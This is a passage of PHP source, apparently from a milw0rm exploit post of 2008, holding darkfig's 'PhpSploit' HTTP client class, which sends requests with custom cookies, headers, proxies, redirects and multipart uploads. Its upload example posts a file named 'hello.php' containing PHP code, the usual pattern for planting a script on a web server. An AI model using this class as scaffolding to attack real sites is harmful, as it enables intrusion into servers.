			$data = substr($data, 0, $offset) . substr($data, ($offset + $hsize_size + 2) );
			
			$offset += $dsize;
			
			# Remove the \r\n before the next $hsize
			$data = substr($data, 0, $offset) . substr($data, ($offset+2) );
		}
		
		return $data;
	}
}

# PHPsploitClass

/*
 * 
 * Copyright (C) darkfig
 * 
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 * 
 * TITLE:          PhpSploit Class
 * REQUIREMENTS:   PHP 4 / PHP 5
 * VERSION:        2.0
 * LICENSE:        GNU General Public License
 * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
 * FILENAME:       phpsploitclass.php
 *
 * CONTACT:        gmdarkfig@gmail.com (french / english)
 * GREETZ:         Sparah, Ddx39
 *
 * DESCRIPTION:
 * The phpsploit is a class implementing a web user agent.
 * You can add cookies, headers, use a proxy server with (or without) a
 * basic authentification. It supports the GET and the POST method. It can
 * also be used like a browser with the cookiejar() function (which allow
 * a server to add several cookies for the next requests) and the
 * allowredirection() function (which allow the script to follow all
 * redirections sent by the server). It can return the content (or the
 * headers) of the request. Others useful functions can be used for debugging.
 * A manual is actually in development but to know how to use it, you can
 * read the comments.
 *
 * CHANGELOG:
 *
 * [2007-06-10] (2.0)
 *  * Code: Code optimization
 *  * New: Compatible with PHP 4 by default
 *
 * [2007-01-24] (1.2)
 *  * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
 *  * New: multipart/form-data enctype is now supported 
 *
 * [2006-12-31] (1.1)
 *  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
 *  * New: You can now call the getheader() / getcontent() function without parameters
 *
 * [2006-12-30] (1.0)
 *  * First version
 * 
 */

class phpsploit
{
	var $proxyhost;
	var $proxyport;
	var $host;
	var $path;
	var $port;
	var $method;
	var $url;
	var $packet;
	var $proxyuser;
	var $proxypass;
	var $header;
	var $cookie;
	var $data;
	var $boundary;
	var $allowredirection;
	var $last_redirection;
	var $cookiejar;
	var $recv;
	var $cookie_str;
	var $header_str;
	var $server_content;
	var $server_header;
	

	/**
	 * This function is called by the
	 * get()/post()/formdata() functions.
	 * You don't have to call it, this is
	 * the main function.
	 *
	 * @access private
	 * @return string $this-&gt;recv ServerResponse
	 * 
	 */
	function sock()
	{
		if(!empty($this-&gt;proxyhost) && !empty($this-&gt;proxyport))
		   $socket = @fsockopen($this-&gt;proxyhost,$this-&gt;proxyport);
		else
		   $socket = @fsockopen($this-&gt;host,$this-&gt;port);
		
		if(!$socket)
		   die("Error: Host seems down");
		
		if($this-&gt;method=='get')
		   $this-&gt;packet = 'GET '.$this-&gt;url." HTTP/1.1\r\n";
		   
		elseif($this-&gt;method=='post' or $this-&gt;method=='formdata')
		   $this-&gt;packet = 'POST '.$this-&gt;url." HTTP/1.1\r\n";
		   
		else
		   die("Error: Invalid method");
		
		if(!empty($this-&gt;proxyuser))
		   $this-&gt;packet .= 'Proxy-Authorization: Basic '.base64_encode($this-&gt;proxyuser.':'.$this-&gt;proxypass)."\r\n";
		
		if(!empty($this-&gt;header))
		   $this-&gt;packet .= $this-&gt;showheader();
		   
		if(!empty($this-&gt;cookie))
		   $this-&gt;packet .= 'Cookie: '.$this-&gt;showcookie()."\r\n";
	
		$this-&gt;packet .= 'Host: '.$this-&gt;host."\r\n";
		$this-&gt;packet .= "Connection: Close\r\n";
		
		if($this-&gt;method=='post')
		{
			$this-&gt;packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
			$this-&gt;packet .= 'Content-Length: '.strlen($this-&gt;data)."\r\n\r\n";
			$this-&gt;packet .= $this-&gt;data."\r\n";
		}
		elseif($this-&gt;method=='formdata')
		{
			$this-&gt;packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this-&gt;boundary."\r\n";
			$this-&gt;packet .= 'Content-Length: '.strlen($this-&gt;data)."\r\n\r\n";
			$this-&gt;packet .= $this-&gt;data;
		}

		$this-&gt;packet .= "\r\n";
		$this-&gt;recv = '';

		fputs($socket,$this-&gt;packet);

		while(!feof($socket))
		   $this-&gt;recv .= fgets($socket);

		fclose($socket);

		if($this-&gt;cookiejar)
		   $this-&gt;getcookie();

		if($this-&gt;allowredirection)
		   return $this-&gt;getredirection();
		else
		   return $this-&gt;recv;
	}
	

	/**
	 * This function allows you to add several
	 * cookies in the request.
	 * 
	 * @access  public
	 * @param   string cookn CookieName
	 * @param   string cookv CookieValue
	 * @example $this-&gt;addcookie('name','value')
	 * 
	 */
	function addcookie($cookn,$cookv)
	{
		if(!isset($this-&gt;cookie))
		   $this-&gt;cookie = array();

		$this-&gt;cookie[$cookn] = $cookv;
	}


	/**
	 * This function allows you to add several
	 * headers in the request.
	 *
	 * @access  public
	 * @param   string headern HeaderName
	 * @param   string headervalue Headervalue
	 * @example $this-&gt;addheader('Client-IP', '128.5.2.3')
	 * 
	 */
	function addheader($headern,$headervalue)
	{
		if(!isset($this-&gt;header))
		   $this-&gt;header = array();
		   
		$this-&gt;header[$headern] = $headervalue;
	}


	/**
	 * This function allows you to use an
	 * http proxy server. Several methods
	 * are supported.
	 * 
	 * @access  public
	 * @param   string proxy ProxyHost
	 * @param   integer proxyp ProxyPort
	 * @example $this-&gt;proxy('localhost',8118)
	 * @example $this-&gt;proxy('localhost:8118')
	 * 
	 */
	function proxy($proxy,$proxyp='')
	{
		if(empty($proxyp))
		{
			$proxarr = explode(':',$proxy);
			$this-&gt;proxyhost = $proxarr[0];
			$this-&gt;proxyport = (int)$proxarr[1];
		}
		else 
		{
			$this-&gt;proxyhost = $proxy;
			$this-&gt;proxyport = (int)$proxyp;
		}

		if($this-&gt;proxyport &gt; 65535)
		   die("Error: Invalid port number");
	}
	

	/**
	 * This function allows you to use an
	 * http proxy server which requires a
	 * basic authentification. Several
	 * methods are supported:
	 *
	 * @access  public
	 * @param   string proxyauth ProxyUser
	 * @param   string proxypass ProxyPass
	 * @example $this-&gt;proxyauth('user','pwd')
	 * @example $this-&gt;proxyauth('user:pwd');
	 * 
	 */
	function proxyauth($proxyauth,$proxypass='')
	{
		if(empty($proxypass))
		{
			$posvirg = strpos($proxyauth,':');
			$this-&gt;proxyuser = substr($proxyauth,0,$posvirg);
			$this-&gt;proxypass = substr($proxyauth,$posvirg+1);
		}
		else
		{
			$this-&gt;proxyuser = $proxyauth;
			$this-&gt;proxypass = $proxypass;
		}
	}


	/**
	 * This function allows you to set
	 * the 'User-Agent' header.
	 * 
	 * @access  public
	 * @param   string useragent Agent
	 * @example $this-&gt;agent('Firefox')
	 * 
	 */
	function agent($useragent)
	{
		$this-&gt;addheader('User-Agent',$useragent);
	}

	
	/**
	 * This function returns the headers
	 * which will be in the next request.
	 * 
	 * @access  public
	 * @return  string $this-&gt;header_str Headers
	 * @example $this-&gt;showheader()
	 * 
	 */
	function showheader()
	{
		$this-&gt;header_str = '';
		
		if(!isset($this-&gt;header))
		   return;
		   
		foreach($this-&gt;header as $name =&gt; $value)
		   $this-&gt;header_str .= $name.': '.$value."\r\n";
		   
		return $this-&gt;header_str;
	}

	
	/**
	 * This function returns the cookies
	 * which will be in the next request.
	 * 
	 * @access  public
	 * @return  string $this-&gt;cookie_str Cookies
	 * @example $this-&gt;showcookie()
	 * 
	 */
	function showcookie()
	{
		$this-&gt;cookie_str = '';
		
		if(!isset($this-&gt;cookie))
		   return;
		
		foreach($this-&gt;cookie as $name =&gt; $value)
		   $this-&gt;cookie_str .= $name.'='.$value.'; ';

		return $this-&gt;cookie_str;
	}


	/**
	 * This function returns the last
	 * formed http request.
	 * 
	 * @access  public
	 * @return  string $this-&gt;packet HttpPacket
	 * @example $this-&gt;showlastrequest()
	 * 
	 */
	function showlastrequest()
	{
		if(!isset($this-&gt;packet))
		   return;
		else
		   return $this-&gt;packet;
	}


	/**
	 * This function sends the formed
	 * http packet with the GET method.
	 * 
	 * @access  public
	 * @param   string url Url
	 * @return  string $this-&gt;sock()
	 * @example $this-&gt;get('localhost/index.php?var=x')
	 * @example $this-&gt;get('http://localhost:88/tst.php')
	 * 
	 */
	function get($url)
	{
		$this-&gt;target($url);
		$this-&gt;method = 'get';
		return $this-&gt;sock();
	}

	
	/**
	 * This function sends the formed
	 * http packet with the POST method.
	 *
	 * @access  public
	 * @param   string url  Url
	 * @param   string data PostData
	 * @return  string $this-&gt;sock()
	 * @example $this-&gt;post('http://localhost/','helo=x')
	 * 
	 */	
	function post($url,$data)
	{
		$this-&gt;target($url);
		$this-&gt;method = 'post';
		$this-&gt;data = $data;
		return $this-&gt;sock();
	}
	

	/**
	 * This function sends the formed http
	 * packet with the POST method using
	 * the multipart/form-data enctype.
	 * 
	 * @access  public
	 * @param   array array FormDataArray
	 * @return  string $this-&gt;sock()
	 * @example $formdata = array(
	 *                      frmdt_url =&gt; 'http://localhost/upload.php',
	 *                      frmdt_boundary =&gt; '123456', # Optional
	 *                      'var' =&gt; 'example',
	 *                      'file' =&gt; array(
	 *                                frmdt_type =&gt; 'image/gif',  # Optional
	 *                                frmdt_transfert =&gt; 'binary' # Optional
	 *                                frmdt_filename =&gt; 'hello.php,
	 *                                frmdt_content =&gt; '&lt;?php echo 1; ?&gt;'));
	 *          $this-&gt;formdata($formdata);
	 * 
	 */
	function formdata($array)
	{
		$this-&gt;target($array[frmdt_url]);
		$this-&gt;method = 'formdata';
		$this-&gt;data = '';
		
		if(!isset($array[frmdt_boundary]))
		   $this-&gt;boundary = 'phpsploit';
		else
		   $this-&gt;boundary = $array[frmdt_boundary];

		foreach($array as $key =&gt; $value)
		{
			if(!preg_match('#^frmdt_(boundary|url)#',$key))
			{
				$this-&gt;data .= str_repeat('-',29).$this-&gt;boundary."\r\n";
				$this-&gt;data .= 'Content-Disposition: form-data; name="'.$key.'";';
				
				if(!is_array($value))
				{
					$this-&gt;data .= "\r\n\r\n".$value."\r\n";
				}
				else
				{
					$this-&gt;data .= ' filename="'.$array[$key][frmdt_filename]."\";\r\n";

					if(isset($array[$key][frmdt_type]))
					   $this-&gt;data .= 'Content-Type: '.$array[$key][frmdt_type]."\r\n";

					if(isset($array[$key][frmdt_transfert]))
					   $this-&gt;data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."\r\n";

					$this-&gt;data .= "\r\n".$array[$key][frmdt_content]."\r\n";
				}
			}
		}

		$this-&gt;data .= str_repeat('-',29).$this-&gt;boundary."--\r\n";
		return $this-&gt;sock();
	}

	
	/**
	 * This function returns the content
	 * of the server response, without
	 * the headers.
	 * 
	 * @access  public
	 * @param   string code ServerResponse
	 * @return  string $this-&gt;server_content
	 * @example $this-&gt;getcontent()
	 * @example $this-&gt;getcontent($this-&gt;get('http://localhost/'))
	 * 
	 */
	function getcontent($code='')
	{
		if(empty($code))
		   $code = $this-&gt;recv;

		$code = explode("\r\n\r\n",$code);
		$this-&gt;server_content = '';
		
		for($i=1;$i&lt;count($code);$i++)
		   $this-&gt;server_content .= $code[$i];

		return $this-&gt;server_content;
	}

	
	/**
	 * This function returns the headers
	 * of the server response, without
	 * the content.
	 * 
	 * @access  public
	 * @param   string code ServerResponse
	 * @return  string $this-&gt;server_header
	 * @example $this-&gt;getcontent()
	 * @example $this-&gt;getcontent($this-&gt;post('http://localhost/','1=2'))
	 * 
	 */
	function getheader($code='')
	{
		if(empty($code))
		   $code = $this-&gt;recv;

		$code = explode("\r\n\r\n",$code);
		$this-&gt;server_header = $code[0];
		
		return $this-&gt;server_header;
	}

	
	/**
	 * This function is called by the
	 * cookiejar() function. It adds the
	 * value of the "Set-Cookie" header
	 * in the "Cookie" header for the
	 * next request. You don't have to
	 * call it.
	 * 
	 * @access private
	 * @param  string code ServerResponse
	 * 
	 */
	function getcookie()
	{
		foreach(explode("\r\n",$this-&gt;getheader()) as $header)
		{
			if(preg_match('/set-cookie/i',$header))
			{
				$fequal = strpos($header,'=');
				$fvirgu = strpos($header,';');
				
				// 12=strlen('set-cookie: ')
				$cname  = substr($header,12,$fequal-12);
				$cvalu  = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));
				
				$this-&gt;cookie[trim($cname)] = trim($cvalu);
			}
		}
	}


	/**
	 * This function is called by the
	 * get()/post() functions. You
	 * don't have to call it.
	 *
	 * @access  private
	 * @param   string urltarg Url
	 * @example $this-&gt;target('http://localhost/')
	 * 
	 */
	function target($urltarg)
	{
		if(!ereg('^http://',$urltarg))
		   $urltarg = 'http://'.$urltarg;
		   
		$urlarr     = parse_url($urltarg);
		$this-&gt;url  = 'http://'.$urlarr['host'].$urlarr['path'];
		
		if(isset($urlarr['query']))
		   $this-&gt;url .= '?'.$urlarr['query'];
		
		$this-&gt;port = !empty($urlarr['port']) ? $urlarr['port'] : 80;
		$this-&gt;host = $urlarr['host'];
		
		if($this-&gt;port != '80')
		   $this-&gt;host .= ':'.$this-&gt;port;

		if(!isset($urlarr['path']) or empty($urlarr['path']))
		   die("Error: No path precised");

		$this-&gt;path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);

		if($this-&gt;port &gt; 65535)
		   die("Error: Invalid port number");
	}
	
	
	/**
	 * If you call this function,
	 * the script will extract all
	 * 'Set-Cookie' headers values
	 * and it will automatically add
	 * them into the 'Cookie' header
	 * for all next requests.
	 *
	 * @access  public
	 * @param   integer code 1(enabled) 0(disabled)
	 * @example $this-&gt;cookiejar(0)
	 * @example $this-&gt;cookiejar(1)
	 * 
	 */
	function cookiejar($code)
	{
		if($code=='0')
		   $this-&gt;cookiejar=FALSE;

		elseif($code=='1')
		   $this-&gt;cookiejar=TRUE;
	}


	/**
	 * If you call this function,
	 * the script will follow all
	 * redirections sent by the server.
	 * 
	 * @access  public
	 * @param   integer code 1(enabled) 0(disabled)
	 * @example $this-&gt;allowredirection(0)
	 * @example $this-&gt;allowredirection(1)
	 * 
	 */
	function allowredirection($code)
	{
		if($code=='0')
		   $this-&gt;allowredirection=FALSE;
		   
		elseif($code=='1')
		   $this-&gt;allowredirection=TRUE;
	}

	
	/**
	 * This function is called if
	 * allowredirection() is enabled.
	 * You don't have to call it.
	 *
	 * @access private
	 * @return string $this-&gt;get('http://'.$this-&gt;host.$this-&gt;path.$this-&gt;last_redirection)
	 * @return string $this-&gt;get($this-&gt;last_redirection)
	 * @return string $this-&gt;recv;
	 * 
	 */
	function getredirection()
	{
		if(preg_match('/(location|content-location|uri): (.*)/i',$this-&gt;getheader(),$codearr))
		{
			$this-&gt;last_redirection = trim($codearr[2]);
			
			if(!ereg('://',$this-&gt;last_redirection))
			   return $this-&gt;get('http://'.$this-&gt;host.$this-&gt;path.$this-&gt;last_redirection);

			else
			   return $this-&gt;get($this-&gt;last_redirection);
		}
		else
		   return $this-&gt;recv;
	}


	/**
	 * This function allows you
	 * to reset some parameters.
	 * 
	 * @access  public
	 * @param   string func Param
	 * @example $this-&gt;reset('header')
	 * @example $this-&gt;reset('cookie')
	 * @example $this-&gt;reset()
	 * 
	 */
	function reset($func='')
	{
		switch($func)
		{
			case 'header':
			$this-&gt;header = array();
			break;
				
			case 'cookie':
			$this-&gt;cookie = array();
			break;
				
			default:
			$this-&gt;cookiejar = '';
			$this-&gt;header = array();
			$this-&gt;cookie = array();
			$this-&gt;allowredirection = '';
			break;
		}
	}
}

?&gt;

# milw0rm.com [2008-10-14]